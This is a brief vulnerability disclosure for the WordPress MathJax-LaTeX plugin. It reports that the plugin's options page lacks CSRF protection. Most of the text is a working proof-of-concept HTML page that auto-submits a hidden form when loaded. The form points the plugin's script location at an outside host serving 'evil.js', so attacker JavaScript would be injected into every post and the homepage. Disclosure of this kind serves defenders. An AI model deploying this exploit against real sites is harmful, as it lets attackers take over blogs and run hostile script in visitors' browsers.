There is no CSRF protection on the mathjax option page. This allows an attacker to specify arbitrary
javascript that will be loaded with each post and also loaded onto the homepage of the wordpress blog
----------------------------------------------------------------------------------------------------------
//##### CSRF - Proof Of Concept:
<html>
<body onload="javascript:document.forms[0].submit()">
<form id="mathjaxlatex" name="mathjaxlatex" action="http://[DOMAINNAME]/wp-admin/options-general.php?page=mathjax-latex.php" method='POST'>
<input type="hidden" name="mathjax_hidden" style="display:none;" value="Y">
<input type="checkbox" name="force_load" style="display:none;" value="1"CHECKED/>
<input type="checkbox" name="default_disabled" style="display:none;" value="1"CHECKED/>
<input type='textbox' name='mathjax_location' class='regular-text code' value='http://illsecure.com/code/evil.js' style="display:none;"/>
</form>
</html>
